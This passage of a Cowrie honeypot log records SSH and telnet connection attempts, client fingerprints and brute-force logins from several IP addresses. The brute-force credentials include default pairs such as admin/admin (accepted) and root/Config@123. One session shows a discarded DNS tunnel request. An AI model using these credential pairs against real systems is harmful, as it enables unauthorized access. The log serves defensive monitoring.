com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:55.895351Z","src_ip":"202.125.94.71","session":"b00585429af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":55730,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b9c37c67357","protocol":"telnet","message":"New connection: 187.188.181.103:55730 (159.203.135.109:23) [session: 8b9c37c67357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:56.129306Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":55740,"dst_ip":"159.203.135.109","dst_port":23,"session":"50a1e14c4521","protocol":"telnet","message":"New connection: 148.230.134.28:55740 (159.203.135.109:23) [session: 50a1e14c4521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:56.357085Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer2025","message":"login attempt [developer/developer2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:56.990415Z","src_ip":"202.125.94.71","session":"b00585429af2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:58.262366Z","src_ip":"202.125.94.71","session":"b00585429af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":55748,"dst_ip":"159.203.135.109","dst_port":23,"session":"4529757392c3","protocol":"telnet","message":"New connection: 148.230.134.28:55748 (159.203.135.109:23) [session: 4529757392c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:59.022362Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":55744,"dst_ip":"159.203.135.109","dst_port":23,"session":"7837509ad2d0","protocol":"telnet","message":"New connection: 148.230.134.28:55744 (159.203.135.109:23) [session: 7837509ad2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:59.028756Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":55752,"dst_ip":"159.203.135.109","dst_port":23,"session":"f999a4f6121e","protocol":"telnet","message":"New connection: 148.230.134.28:55752 (159.203.135.109:23) [session: f999a4f6121e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:26:59.360256Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":55754,"dst_ip":"159.203.135.109","dst_port":23,"session":"384483e1be06","protocol":"telnet","message":"New connection: 148.230.134.28:55754 (159.203.135.109:23) [session: 384483e1be06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:01.379287Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":56330,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a7ca41aa422","protocol":"telnet","message":"New connection: 148.230.134.28:56330 (159.203.135.109:23) [session: 4a7ca41aa422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:04.642056Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":56368,"dst_ip":"159.203.135.109","dst_port":23,"session":"929c85f4029f","protocol":"telnet","message":"New connection: 148.230.134.28:56368 (159.203.135.109:23) [session: 929c85f4029f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:09.024390Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":56360,"dst_ip":"159.203.135.109","dst_port":23,"session":"be6acbad9644","protocol":"telnet","message":"New connection: 148.230.134.28:56360 (159.203.135.109:23) [session: be6acbad9644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:09.340350Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":56372,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d70b159a58b","protocol":"telnet","message":"New connection: 148.230.134.28:56372 (159.203.135.109:23) [session: 6d70b159a58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:09.752129Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":56346,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe2b3b58f29","protocol":"telnet","message":"New connection: 148.230.134.28:56346 (159.203.135.109:23) [session: 3fe2b3b58f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:10.397911Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":56362,"dst_ip":"159.203.135.109","dst_port":23,"session":"89144883141f","protocol":"telnet","message":"New connection: 148.230.134.28:56362 (159.203.135.109:23) [session: 89144883141f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:11.590851Z"}
{"eventid":"cowrie.session.closed","duration":31.799031734466553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:15.346989Z","src_ip":"187.188.181.103","session":"58f3539b39f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":38002,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8afd334aa7b","protocol":"ssh","message":"New connection: 41.86.34.139:38002 (10.17.0.5:22) [session: c8afd334aa7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:17.593750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:17.599036Z","src_ip":"41.86.34.139","session":"c8afd334aa7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:17.806523Z","src_ip":"41.86.34.139","session":"c8afd334aa7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"admin123","message":"login attempt [mysql/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:18.668492Z","src_ip":"41.86.34.139","session":"c8afd334aa7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:19.878704Z","src_ip":"41.86.34.139","session":"c8afd334aa7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.124345541000366,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:21.295723Z","src_ip":"187.188.181.103","session":"320092e8cdc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898454189300537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:22.140857Z","src_ip":"187.188.181.103","session":"b6c30835e258","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":56238,"dst_ip":"159.203.135.109","dst_port":23,"session":"540693a502f5","protocol":"telnet","message":"New connection: 187.188.181.103:56238 (159.203.135.109:23) [session: 540693a502f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:22.468261Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":55943,"dst_ip":"159.203.135.109","dst_port":22,"session":"23affc3ecead","protocol":"ssh","message":"New connection: 103.86.180.10:55943 (159.203.135.109:22) [session: 23affc3ecead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:22.554450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:22.559371Z","src_ip":"103.86.180.10","session":"23affc3ecead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":56242,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e94cc074c99","protocol":"telnet","message":"New connection: 187.188.181.103:56242 (159.203.135.109:23) [session: 9e94cc074c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:22.590211Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:22.754738Z","src_ip":"103.86.180.10","session":"23affc3ecead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user01","message":"login attempt [root/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:23.565781Z","src_ip":"103.86.180.10","session":"23affc3ecead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.38261365890503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:24.241634Z","src_ip":"187.188.181.103","session":"da8b002beb76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":56246,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fa9eca713d3","protocol":"telnet","message":"New connection: 187.188.181.103:56246 (159.203.135.109:23) [session: 7fa9eca713d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:24.401868Z"}
{"eventid":"cowrie.session.closed","duration":31.56062126159668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:24.586402Z","src_ip":"187.188.181.103","session":"9e8a82f46855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:24.763958Z","src_ip":"103.86.180.10","session":"23affc3ecead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":56252,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2ea05290dfa","protocol":"telnet","message":"New connection: 187.188.181.103:56252 (159.203.135.109:23) [session: c2ea05290dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:25.780076Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":56254,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0fb32f54603","protocol":"telnet","message":"New connection: 187.188.181.103:56254 (159.203.135.109:23) [session: e0fb32f54603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:26.985933Z"}
{"eventid":"cowrie.session.closed","duration":35.037874698638916,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:29.065150Z","src_ip":"187.188.181.103","session":"c401f3296396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.848417043685913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:30.877074Z","src_ip":"148.230.134.28","session":"7837509ad2d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58356738090515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:30.943703Z","src_ip":"148.230.134.28","session":"f999a4f6121e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33407282829285,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:31.356323Z","src_ip":"148.230.134.28","session":"4529757392c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":56268,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3511d3e4283","protocol":"telnet","message":"New connection: 187.188.181.103:56268 (159.203.135.109:23) [session: f3511d3e4283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:33.557143Z"}
{"eventid":"cowrie.session.closed","duration":37.62734270095825,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:33.756515Z","src_ip":"187.188.181.103","session":"8b9c37c67357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":39372,"dst_ip":"159.203.135.109","dst_port":23,"session":"430c7dbf3059","protocol":"telnet","message":"New connection: 148.230.134.28:39372 (159.203.135.109:23) [session: 430c7dbf3059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:33.953472Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":39380,"dst_ip":"159.203.135.109","dst_port":23,"session":"17404d45b8eb","protocol":"telnet","message":"New connection: 148.230.134.28:39380 (159.203.135.109:23) [session: 17404d45b8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:34.083164Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40214,"dst_ip":"10.17.0.5","dst_port":22,"session":"65228416c050","protocol":"ssh","message":"New connection: 87.251.64.176:40214 (10.17.0.5:22) [session: 65228416c050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:34.877337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:34.882725Z","src_ip":"87.251.64.176","session":"65228416c050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:34.980631Z","src_ip":"87.251.64.176","session":"65228416c050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":39388,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdfc1be733a5","protocol":"telnet","message":"New connection: 148.230.134.28:39388 (159.203.135.109:23) [session: bdfc1be733a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:35.050026Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:35.270374Z","src_ip":"87.251.64.176","session":"65228416c050","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:35.369669Z","session":"65228416c050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.760132312774658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:35.402044Z","src_ip":"148.230.134.28","session":"4a7ca41aa422","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.02826547622681,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:35.407445Z","src_ip":"148.230.134.28","session":"384483e1be06","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:35.468989Z","src_ip":"87.251.64.176","session":"65228416c050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:35.568929Z","src_ip":"87.251.64.176","session":"65228416c050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":54180,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fc964643621","protocol":"ssh","message":"New connection: 72.253.251.7:54180 (159.203.135.109:22) [session: 4fc964643621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:35.864088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:35.868460Z","src_ip":"72.253.251.7","session":"4fc964643621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:35.986189Z","src_ip":"72.253.251.7","session":"4fc964643621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":39370,"dst_ip":"159.203.135.109","dst_port":23,"session":"3072b42d4e5f","protocol":"telnet","message":"New connection: 148.230.134.28:39370 (159.203.135.109:23) [session: 3072b42d4e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:36.204214Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Config@123","message":"login attempt [root/Config@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:36.489224Z","src_ip":"72.253.251.7","session":"4fc964643621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":39390,"dst_ip":"159.203.135.109","dst_port":23,"session":"deb1c2979a91","protocol":"telnet","message":"New connection: 148.230.134.28:39390 (159.203.135.109:23) [session: deb1c2979a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:37.109449Z"}
